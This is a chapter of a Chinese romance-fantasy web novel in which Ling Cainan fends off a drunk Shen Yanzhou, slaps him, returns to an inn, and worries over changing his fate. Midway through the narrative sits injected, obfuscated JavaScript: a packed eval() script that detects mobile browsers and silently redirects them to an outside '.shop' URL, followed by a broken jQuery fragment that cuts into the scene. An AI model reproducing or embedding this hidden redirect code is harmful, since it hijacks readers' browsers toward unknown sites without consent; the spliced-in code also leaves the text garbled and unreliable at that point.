见指尖将酒盏推入,紧绷的神经终于放松,令采南呼出一口长气。
唇角的温热似乎依旧残存,想到方才那个吻,令采南的脸黑了半截,她侧头去看埋首颈窝的少年,见他毫无负担地安睡,没忍住用膝盖狠狠抵向他的腰腹。
只会乱啃的疯子!
少年闷哼一声,呼吸变得紊乱,钳住她右手的掌心更加用力,像一圈铁链禁锢犯人的行动。
然而令采南现在毫无顾忌,转动手腕,稍加挣扎便挣脱了他的束缚。
少年死皮赖脸趴在她身上,令采南抵住他的肩膀,打算将他推到一边,刚要动手,对方却率先转过脸来。
令采南看向他。
汗水湿黏,惹得少年的发丝凌乱,此刻脸颊泛着红晕,睫毛上挂上水雾,让本就殊色玉貌的他平添几番艳色。
沈砚舟微眯着眼,漆黑的瞳孔里映射出烛火里的她。
窗外时不时有凉风拂来,却因身边人的滚烫,令采南热得想要流汗。
他怎么又醒了?还是压根没睡着?
令采南皱眉将他推到一边,从坐榻上起来,抬手狠狠擦向唇角。擦了一次还是觉得上面留有他的气息,令采南恶狠狠瞪向那少年,又擦了好几遍方肯罢休。
少年不知何时随她坐起来,乖乖坐在一旁,注视身侧少女的眉目。
令采南转过头,对上的便是一双眸光迷离的醉眼,那双眼没了往日的淡漠与阴狠,正一动不动盯着她,不知在看些什么。
若能把他的大脑剖开,里面的血肉大概已被酒腌透,不然以他冰冷的性子,也不至于变成如今这副模样。
令采南没顾他,兀自走到角落里,拿起掀月刀背在身后。
再回头时,那少年的目光依旧停留在她的脸上。
她不由想起不久前见过的那个男孩,一样的固执,将目光死死放在一处,半分不肯退让。
令采南默了会,还是走到他身边。
她不得不承认,花映月将她送入幻境,沈砚舟经历过的那场大雨对她产生了影响。
或许这也是花映月的打算。
因为阖门罹难的悲惨结局,她对沈砚舟产生了怜悯。
看到孤身一人的他,她会想到上辈子的自己。
但,也仅此而已。
她不会因此忘记他之前的种种作为,更不会因此迁就他的冒犯。
现在的沈砚舟像株随时会喷洒毒汁的艳花,将他随身带着,根本不知毒液何时会沾满己身。
她应尽早替他改命,摆脱这个麻烦的少年才是。
令采南正这般想着,身前人忽然抬手。
她当即警戒,往后退了半步。
不料少年只是抬手,指向她的右肩。
右肩?令采南疑惑地垂眸看去,余光却不动声色注意着窗边的少年,忧心他趁机动手。
可他始终没有动静。
喝醉了,就把心里的成算全丢了吗?
那酒岂不是天下最好的毒药。采南在心中低语。
右肩是被花映月摔裂的伤口,不过没尽早包扎换药,渗出了些血,但她待在酒楼上那么久,那伤口估计已经自己开始愈合了。
他指着她伤口做什么?找她的弱点?令采南再次后退半步,眼中满是防备:“你又想做什么?”
沈砚舟站起来。
他步步逼近,颀长的身形一点点遮挡令采南脸上的月光。令采南的目光紧紧锁定沈砚舟的指尖,忧心他那一手银针,右手抬起抽出身后一把长刀。
沈砚舟喝醉了也要和她打架吗?这人果真是讨厌她。早知如此,她方才就该直接把他打晕!
下一刻,有人捏住她的衣角,拉着她缓缓走向床榻。
令采南握住刀的手一顿,慢半拍看向左侧的床榻,不由联想到方才发生的事,他这是亲上瘾了?少女的娇颜扭曲,令采南气得脸都僵了:“你个疯子!”
她扯回自己的衣袖,只觉习武十余年,气息从未像现在这般乱过。
纯被气的!
少年好不容易走到床榻边,目光寻扫一阵,找到枕边的药罐,刚拿起药罐转身,屋内响起“啪”的一声。
沈砚舟侧过脸,朦胧的双眼里闪过一丝错愕,脸上是迟来的痛意。
这一声响亮,屋外的长廊有人迈着急步赶来。
少年好半晌才反应过来,抬头却只来得及看见少女愤怒得几乎燃烧的眼,他刚张口想说些什么,门扉被人猛然打开,眼前少女也从窗台一跃而下。
姬辞春几步跨进屋内,看向摇晃的窗扉,又注意到案上打翻的醒酒汤,转过头来:“殿下,出什么事了?”
待看清沈砚舟的脸,姬辞春面色一变:“殿下的脸......”
右脸又痛又麻,沈砚舟皱了皱眉,眼中的姬辞春变成无数个虚影,耳边的声音也断断续续,他勉强清醒,却觉得头痛欲裂。
他这是怎么了?
*
夜已深。
木板盖不住隔壁旅人翻身的轻响,也盖不住楼外偶尔的几声狗吠。
木榻上的红衣鬼魅睁开眼,懒散地叹了口气,伸手去够一旁的蜡烛,待手里抓了个空,才发觉那蜡烛早已被他享用。
花映月想了想,从床上爬起来,悠闲地穿好鞋袜,推开门扉走进厅堂。
他负手张望,目光扫过趴着熟睡的掌柜,寂静的客房和四周燃烧着的火烛。
橘红色火舌腾跃,轻烟向上升腾,融化的蜡液顺着烛身落进烛台,花映月细细看着,闻到香烛的淡香气,没忍住吞咽口水。
眼下四处无人,他若偷拿一根燃烛,应当不会有人发现吧……
花映月的脚步很轻,慢慢向那根燃得最旺的香烛靠近。
焰火在他眼中越来越亮,他和蜡烛越发接近,最后伸出了手。
身后忽传来急促的脚步声。
花映月手指一缩,立马转身回头,扬首作势四方打量。
令采南气喘吁吁跑回客栈,目光捕捉到熟悉的身影,提步凑了上去:“我师兄呢?”
花映月注意到她溢血的唇,却没有多余的关心,只回答她的问题:“还没来。”
“哦。”令采南不再理他,转身掏出银两放在熟睡的掌柜身边便打算上楼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867658|207174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看她急着要往上走,花映月随口道:“不是说不住这吗?”
令采南闻言脸色变了又变,很明显想到了不美好的往事,她捏紧指尖,勉强厉声开口:“要你管。”
花映月翻了个白眼。
眼看着少女走上楼梯,他没忍住轻声吐槽:“还是个呛人的种。”
话音刚落,踏上楼梯的少女停下脚步。
花映月连忙闭嘴,在她看来之前扬起一抹礼貌的微笑。
令采南盯着花映月,没一会,转身走回来。
花映月脸上的微笑一抖,故作镇定地看着她走到跟前,刚要出言狡辩,只见令采南掏出半截银子,放在他手里。
令采南瞥一眼他身后的蜡烛,又再次看向他:“活了这么久把人间的规矩都忘了?少偷拿蜡烛,找我用银子买不好吗?”
她显然不期待花映月的回答,说完头也不回地走了。
突如其来的银两压慌了花映月只会反驳的头脑,见他的意图被一眼看穿,他支支吾吾地反驳:“谁告诉你……我要……要拿蜡烛了?”
令采南把话听在耳里,可她思绪乱成一团麻,根本没心情多说什么,索性走到房间里,把门狠狠关上了。
“砰”的一声,把楼下花映月惊得合不上嘴。
“谁又惹你了?!”
屋里。
令采南取下背上的掀月刀,三下五除二脱了鞋袜,钻进了被子里。
她用被子拼命捂住耳朵,眼睛也用力紧闭,像是这样便能隔绝所有烦恼。
烦死了烦死了!
沈砚舟!
令采南用力拍向床板撒气,她迟早杀了他!
待他的命格改变,就等着成为她刀下的骨头汤吧!届时就先把他的眼睛抠出来养花,再把他的嘴巴割下来扔进猪圈里喂猪,最后把他的手砍下来煲汤!
或许是想得太过分,以至于足够解气,令采南起伏不定的心终于好受了些。
喘息逐渐平静,她的大脑也开始冷静下来。
改命之事不能再拖了,沈砚舟完全是个麻烦!他绝不可以再多待在她身边!
改命改命。
她初到京城那一晚扮做巫婆在姜相府时,花映月曾说过,沈砚舟的命格有过一瞬的改变,可那命格很快又改回去了。
若搞清楚沈砚舟在那段时间里做过什么才会重新踏入死局,是不是就能帮他重新改命?
可现在已经踏出京城,城门已封,再想进去也不可能,何来线索供她推理?莫非要去问沈砚舟?不可能。令采南头疼,且不说她不想靠近沈砚舟,就算她问了,沈砚舟也不会告知她的,说不定还会在心里对她更加排斥。
简直要命。
她抓了抓头发,很快有了新想法。
沈砚舟的死局,是否是因为一直追杀他的杀手?他孑然一身,最后被追杀至死?这样听上去固然合理,可细细想来全是漏洞。且不说沈砚舟有着她所不知的人脉护着,单看他现已出城,凭他的身手,少量杀手又怎会应付不过来。
认真想一次,令采南才发现改命一事竟是遥遥无期。